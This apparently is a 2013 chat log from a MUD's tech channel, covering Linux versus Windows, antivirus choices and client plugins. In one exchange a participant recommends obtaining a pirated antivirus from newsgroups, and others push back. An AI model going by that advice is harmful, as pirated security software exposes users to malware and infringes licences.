T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: So far, it's 106 lines of code.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: lets hope
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Hanslanda Tech: mostly for pk reasons.  Some players in some games look for ways to screw the other side over in ways that are either obviously against the rules or at least in such bad form that the authorities would probably make it illegal just because someone raised the activity from an unfortunate novelty to a really unfair tactic.  And then there's the rule about english only on public channels.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh please. I'd write it just so I could talk smack about Kojiro and he'd never know.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Whoever said it would be used on public channels?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: yeah, cuz teamspeak, skype, AIM, google hangout, etc wouldn't do it better
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: And it falls quite within the realm of English, too.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: It's just encrypted. :D
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Though I really want to look into AES encryption, too.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: And send Awe2Ys... etc :p
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Arnica Tech: Have Megan Kelly read it. No one intelligent will hear it.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: go all out and make the encryption type a choice
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: ciphers aren't english...they can be translated back into english...but so could german/etc
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Hush, Abelinc! 52342 is English. Say it out loud... Five. Two. Three. Four. Two. English! :p
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: Book of Etzli beams with pride at Tormat.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Hanslanda Tech: if it were english, you could use it on a public channel without fear of reprisal.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: english char set :P
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: yeah, should just be a change to the pipe/dll/whatevs to plug in a new encryption scheme
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: many languages are english char set...they're still not legal
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: My phone number is %#)-#!!% -- decipher that! :p
T3/r7/2013-11-05.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: erm..
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Arnica Tech: Nice work Etzli
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Book of Etzli Tech: I had a friend that did his ICQ numeber that way, actually. It was something like: *%@#)(%%. People couldn't figure it out. Seriously, it's the symbols above each individual number.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: having trouble setting up bast version of statmon, how to you set the channel to report on?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/bastmush/wiki/StatMonitor
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: on the site... missing something.
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: the bottom of the page tells you everything
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: how do you set the variables?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: do i hard code them in the plugin?
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: no, you'd never hardcode variables...type statmn help
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: thanks
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: and then you can type "statmn <command> help" to see more specific help
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tormat Tech: got it now... could of sworn i tried that earlyer, works now
T3/r7/2013-11-05.txt.gz:{chan ch=tech}Tech: prolly did statmn help <cmd> instead of statmn <cmd> help
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: linux blah blah blah
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: rabble rabble
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: hmm, is that supposed to be the hamburgler or schnitzel?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: the hamburglar is thy lord, and he sayeth unto thee robble robble
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: test
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: fail
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Moo
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: nah it works, thanks for participating :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: baaaaa
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: the tech channel is temporarily out of order
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: please go elsewhere
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Bad angel Ghaan goes, "Hmmmm."
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: ?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: If you'd like to participate in another test, you can use a social.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: looking for a linux for dummies tutorial lol
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: You fluffle Bad angel Ghaan mercilessly, making his fur a terrible mess.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: google on linux cookbook
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: umm, try "Linux for Dummies" then...
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: Great, thanks. Tech channel is now on backup on my drive.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: on backup?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: As as you do backup of all channels :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: oh, logged
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc drops a log on the tech channel to show Ghaan how an emote looks
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: The cookbook looks useful btw ty
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: it is :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: there is also a cookbook for security stuff, is interested... it's pretty descend as well
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: ooo cool
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: if you are a sysadmin it might be interesting, for me it does :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: bit afk, busy with reporting
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: So, linux is actually on unix os?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: unix-like
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is a derivative
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: ahh
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, linux is just a kernel. the os would be gnu/linux
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Lykaioru Tech: GNU being 'gnu's not unix'xd
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nobody says gnu/linux
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods at Captain HR Vakieh.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's the instant identification of a Rabid Open Source Nerd :-)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: neither do i, but it's nice to know the difference
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i run windows on my desktops :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: i run windows in parallels on my macbook
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: Father, forgive them; for they know not what they do.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: My friends are all skills techs, they both went to school and got 4.0's so its hard keeping up with what they are talking about 
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: One was in the marines for 7 years as an engineer
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: just skilled in openvms and windows
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: linux/unix is little skilled
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: So thats one reason why im learning linux
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: try using centos 5, nice linux distr.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: technically you're learning gnu :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: I wouldn't recommend RPM based linuxes, debian is so much nicer and more wide spread.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: gentoo!
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: I like LMDE, or just vanilla debian.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Probably the easiest transition would be Ubuntu with Unity - closest look and feel to Windows/Mac
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Vanilla for servers, of course.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: never tried that
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: vanilla debian on a headless machine ftw
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: is ubuntu and debian 2 diff things?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: desktop linux sucks hard
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: No, it doesn't, it rocks hard.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: tuxx the game is nice on desktop :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ranrr, you live in the command line, you don't desktop :-P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: people who use linux on desktop have the stockholm syndrome :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: whats wrong with that?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Desktop linux has everything windows desktop has, and more. Except a few programs that are only available on windows. But that has nothing to do with a bad desktop.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's bad. inconsistent at best
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: you can always setup a terminalsession on the gui
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Something about a command window makes me feel cold and alone. Like the blinking line is mocking me 
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Eh... and windows is consistent? Since when?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yes, some desktops have some good ideas, but the implementation is usually bad
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: i had ie on my linux desktop
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: why you should do that :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: incorrect syntax, you cant type proper english you idiot! and all that
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: state site i had to use only accepted ie
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Spoof the browser string
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what vakieh said
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: who me?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: unless it uses activex. then you're screwed
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: i'm not english
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I was talking about myself there btw
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: allright, sorry
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: lol no worries
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: The windows desktop would be ok to use, if it was customizable. I have my own set of shortcuts I've been using for 20+ years, and on windows, there is no way to configure them.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: That, and a lack of package management, makes windows really painful for me.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: i miss the simple things on windows, like tail, diff, cat...
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, that too. Lack of a command line is a no go as well.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Cygwin
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Windows seems like a gaming os to me.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use cli apps on another machine via putty
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: there are tools for all of that on windows, but its a hassle
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: yes its a hassle
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: No package management, afaik?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: yeah you're right about that, nothing great anyway
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Lol. Because setting up a *nix box is a walk in the park :-) There's things *nix does well, but simple is not it
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: updating different apps can be annoying, yes
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Installing something as simple as python, a c compiler, a text editor or a lamp stack is a bitch without a package manager.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: it just takes time it shouldnt need to
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Lykaioru Tech: doing that without a mackage manager is masochistic ...why do you even suggest it ? :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Lykaioru Tech: package*
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Because some people seem to think that windows is so great, and linux sucks. I am trying to explain why I disagree. :D
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: strawman
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i said linux desktop sucks
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: All things I said apply to a desktop, imo.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: which is true. i enjoy aptitude on debian think it's great
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: by linux desktop, do you mean the gui?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods at Ezriel.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i find windows shell much more usable and convenient. of course, when we talk about development and cli, linux wins hands down
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: its getting better though
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but i would never install it as a desktop. have to servers for these purposes
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I think civ4 was programmed in python
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Well, I am a developer. For regular people (my mom), I would recommend a mac instead.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: hehe
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: debian with a nice gui :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: FreeBSD with a nice gui.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: windows is just not stable enough, and attracts lots of virusses
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: debian with screen
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir hides his face in his palm after seeing what Ekster did.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I'd imagine the virus part is more due to percentage of users though
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: windows hasn't really crashed for me for a long time
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: and i haven't gotten any viruses
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i've broken dpkg infinitely more times than i've gotten viruses :D
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my own fault, ofc
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Quadrapus Tech: yeah.. windows is probably the most stable os
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: if you are not on the internet, windows works fine :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but yeah, if you download nonexistent gta 5 pc version from the pirate bay you deserve some viruses
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir . o O ( not sure if quad is trolling or not :\ )
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol agree
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: i mean, without plugging in a network cable, windows is stable
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Quadrapus Tech: er... you know that a lot of internet servers are windows based right? :p
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I wont download software illegally, thats just my personal preference though.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: I've never has a virus, but I still get blue screens from windows regularly, even with win7. Barely ever use it, but still get the blue windows. Not as much as with win95 and 98, though.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: well there is vmware :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: you must be doing something wrong :p
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't know the hell you're doing if you get regular bluescreens :D
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: i can't even remember when i last saw a bluescreen
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Last time I got it from inserting a usb stick into my boss' computer.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Quadrapus Tech: actually not trolling. im not a windows fan, but it runs on more machines and hardware platforms than anyone else and it does a good job
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: usually when i see bluescreens it means some hardware is gonna die soon
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir . o O ( still not sure if trolling :\ )
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: i like windows more than mac anyway
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: we have vmware and on our esx, we have virtual windows servers installed
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: if for nothing but compatibility with shit
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'd say nearly 99% of BSOD on non-new installs mean dying RAM or OS partition
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: To be fair, windows and linux (and any other OS) pretty much only crashes due to bad drivers.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Or broken HW.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: nod, but spam as well, if you dl a lot from torrentsites
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you download on the dodgy without using a Cyber Condom, you can't blame the OS
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Well, that is only a windows problem. On linux, that doesn't happen unless you are doing it as root.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the hell does that mean?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Nor on macos.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mac has a few viruses, but the vector is usually java or flash
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: same thing with windows tho. just more exploits around
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: the reason windows has more viruses is probably just that more targets use it :p
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Well, not needing expensive antivirus sw is nice.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Redryn Tech: i don't pay for av software...
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Sonshi Tech: between two equally (in)secure systems, the one with more users is going to get hit a lot more often, I'm guessing...
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: or free antivirus sw...
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: MSE is quite adequate and nothing protects against stupidity
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Is there free av sw available for commercial use that is as good as the non-free?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: users with av are more than willing to ignore all warnings if they're promised pictures of cats
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ranrr - MSE
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: Well, not needing av sw that takes up system resources is nice, free or not :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'd go so far as to say the free ones are wildly better than the paid AV
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, i really miss that 70K of ram mse is currently hogging
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: well try nod32 pretty descend... you might find it on a newsserver
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: newsserver?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: newsgroup then
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you mean "go pirate your antivirus from usenet"? great idea
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nothing says "protection" like a pirated av
T3/r7/2013-11-06.txt.gz:{chan ch=tech}SlowMoos Tech: talking av for win?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why do I need a new AV when MSE + Malwarebytes handles, well, everything?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: it's better then nothing on windows
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But I don't have nothing
T3/r7/2013-11-06.txt.gz:{chan ch=tech}SlowMoos Tech: security essentials is good enough for most people
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have MSE + Malwarebytes
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I dont know if any free av is really 'free', but maybe im just paranoid.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: well i hate that appl.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: using sophos, works fine for me
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: pirated AV is worse than nothing
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: if you have the right connections, these AV are pretty trusty :)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no it's not
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: yes it is, i don't dl an av froms omeone i[D[D[D[D[D[D[D[
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: oops
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's like getting a free lock from a burglar
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: Even under Windows, create regular account not admin and do not allow any weird program to use administrator privileges. And you're pretty safe (unless there is security hole for nsa that gets misused by some virus)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: i only dl from certain people, then it's safe enough
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir hides his face in his palm after seeing what Ekster did.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Well most every program asks for admin on 7.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Even simple things like 7zip
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: during install yes but i doubt during regular use
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you need elevated privileges to install in program files, yes
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: ...and note I'm Linux guy, I use Windows because.... well, my laptop doesn't work well with Linux drivers :D
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, i don't trust my clients with just the antivirus. i also use software restriction policies. apps and drivers can only be loaded from program files or windir
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if they need anything they call me and i'll set them up via remote connection
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: That is a sound strategy.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: I would do the same
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Hmm, can i install debian alongside ubuntu? 
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: You need different partitions, though. Or VirtualBox/vmware
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you're not ready for debian if you ask that
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: The guide im using uses debian as the basis of the lessons
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ubuntu is pretty much the same, just with more fluff
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Alrighty.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ubuntu is like a ghetto-tuned debian. just stupid spoilers and spinning rims added
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: lol
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ontuct Tech: does it hop at stop lights?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ubuntu is like a Debian for those people who don't *particularly* feel like dealing with 100% of the nitty gritty 100% of the time
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yes, and you wish it would stop
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ontuct Tech: no Redhat?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lmao
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: rpm distro? never!
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: rpms are dead
T3/r7/2013-11-06.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: yummmmmmmmmmmmmm
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: debian is very (some say too) conservative, but ubuntu is all about breaking things with raw cutting edge bollocks
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ontuct Tech: I don't want raw bollocks
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: cutting edge bollocks
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: "hey, steve, i have this new design idea, but it's not quite ready yet". "doesn't matter, throw it in. we'll fix it 5 versions from now"
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ekster Tech: tech 
T3/r7/2013-11-06.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: right you are
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ontuct Tech: tech check complete :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Ahh, software center puts things in usr/share
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Which is under devices, not home. boo no wonder i couldnt find it
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: woo /look
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: hmm
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: using tintin in terminal
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: i like tintin
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: but the line that shows what im typing moves when ppl come in how annoying
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: is moving
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: hehe there is a aard setup for it
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: What do i do with the files after i extract them?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: should be directions, but you need to launch and load the setup.tin file (i think that sis)
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: thats it.
